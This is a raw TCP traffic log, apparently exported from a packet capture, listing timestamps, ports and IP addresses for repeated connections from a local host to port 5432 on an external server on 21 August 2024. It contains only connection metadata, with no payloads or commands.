Aug 21, 2024 09:40:52.812721968 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:52.981971025 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:52.982322931 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:52.987778902 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.158924103 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.159110069 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:53.163908958 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.335501909 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.335650921 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:53.340538979 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.509876966 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.510109901 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:53.515014887 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.684843063 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.691768885 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:53.696600914 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.866458893 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:53.866719007 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:53.871620893 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.040949106 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.041209936 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.046678066 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.216967106 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.217164993 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.222049952 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.392942905 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.393102884 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.393102884 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.399315119 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.402808905 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.408010960 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.408061981 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.527194977 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.532280922 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:54.532349110 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.541644096 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:54.546485901 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.197113037 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.231590033 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.236433983 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.408278942 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.414217949 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.419300079 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.595587969 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.595623970 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.595685959 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.596400023 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.596502066 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.601155043 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.601219893 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.773663998 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.773843050 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.778783083 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.950582981 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:55.957540035 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:55.962465048 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:56.219474077 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:56.260371923 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:59.401822090 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:59.406811953 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:59.582039118 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:59.582226992 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:59.588625908 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:59.990660906 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:59.990905046 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:59.992729902 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:59.992785931 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:59.996467113 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.169559002 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.169712067 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:00.174825907 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.346833944 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.347064018 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:00.351845026 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.525146008 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.525357008 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:00.531661987 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.706291914 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.706470013 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:00.711253881 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.887964964 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:00.888710976 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:00.896066904 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.068588018 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.069071054 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.074759007 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.247118950 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.247656107 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.247778893 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.252552986 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.252585888 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.266315937 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.271472931 CEST	5432	63801	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.271539927 CEST	63801	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.386815071 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.391757965 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:01.391829967 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.401006937 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:01.405855894 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.006599903 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.008367062 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.015347004 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.184777021 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.185184002 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.191765070 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.364368916 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.364428043 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.364516020 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.365874052 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.366064072 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.370708942 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.370888948 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.662106037 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.662324905 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.667161942 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.836347103 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:02.860857964 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:02.868478060 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:03.039592028 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:03.088491917 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:06.495249033 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:06.500106096 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:06.669859886 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:06.670042992 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:06.674850941 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:06.845813036 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:06.871778965 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:06.876732111 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.046008110 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.046159983 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.050956964 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.220717907 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.221079111 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.226038933 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.396475077 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.396631956 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.401518106 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.571332932 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.571502924 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.576286077 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.745374918 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.745541096 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.750346899 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.921596050 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:07.921812057 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:07.926881075 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.095956087 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.096127987 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.096158028 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.101090908 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.102987051 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.108320951 CEST	5432	63802	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.108675003 CEST	63802	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.218075037 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.223090887 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.223264933 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.223531961 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.228316069 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.841352940 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:08.843067884 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:08.847955942 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.019532919 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.019885063 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.024712086 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.197643042 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.197662115 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.197731018 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.198520899 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.198637009 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.204730034 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.204746008 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.375864029 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.376127005 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.380949974 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.551280975 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.569293976 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:09.574191093 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.871959925 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:09.916618109 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.089061975 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.093959093 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.264664888 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.264870882 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.269778967 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.442298889 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.442682981 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.447535992 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.618243933 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.618664026 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.623523951 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.793773890 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.794106960 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.799175978 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.971899986 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:13.972058058 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:13.976871014 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.147308111 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.147509098 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.152312040 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.322256088 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.322552919 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.327395916 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.497824907 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.498034954 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.502844095 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.674902916 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.675065041 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.675086021 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.679929972 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.680790901 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.685772896 CEST	5432	63803	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.685816050 CEST	63803	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.823451042 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.829523087 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:14.829646111 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.829750061 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:14.836129904 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.456186056 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.457978964 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.462825060 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.631982088 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.632730007 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.637542963 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.808913946 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.808928013 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.808976889 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.809875965 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.809954882 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.814728022 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.814739943 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.984637022 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:15.984903097 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:15.989784002 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:16.158972025 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:16.165360928 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:16.170258045 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:16.340646982 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:16.385396004 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:19.557925940 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:19.562782049 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:19.731759071 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:19.731997013 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:19.736793041 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:19.907238007 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:19.907447100 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:19.912307024 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.081377983 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.081526041 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.086318970 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.255724907 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.255950928 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.260879993 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.430466890 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.430835962 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.435687065 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.606966972 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.610964060 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.615740061 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.784496069 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.792521000 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.797455072 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.971067905 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:20.971327066 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:20.977161884 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.145302057 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.148957014 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.149175882 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.153841972 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.154043913 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.160856009 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.166112900 CEST	5432	63804	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.166201115 CEST	63804	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.293040037 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.297979116 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.299850941 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.299910069 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.304730892 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.921777010 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:21.923717022 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:21.928591967 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.195628881 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.195988894 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.200717926 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.372262001 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.372288942 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.372416019 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.377283096 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.377353907 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.382065058 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.382112980 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.552846909 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.553087950 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.557904005 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.727073908 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.732903004 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:22.737998962 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.909190893 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:22.963526011 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.075067043 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.080034018 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.253649950 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.254045010 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.258910894 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.430179119 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.431919098 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.437738895 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.607649088 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.608129025 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.613677979 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.783262968 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.783531904 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.788403034 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.958853006 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:26.960726023 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:26.965559959 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.135920048 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.136133909 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.140964031 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.310790062 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.310981989 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.315825939 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.485703945 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.485991001 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.490886927 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.660676003 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.660837889 CEST	63805	5432	192.168.2.6	38.180.213.183
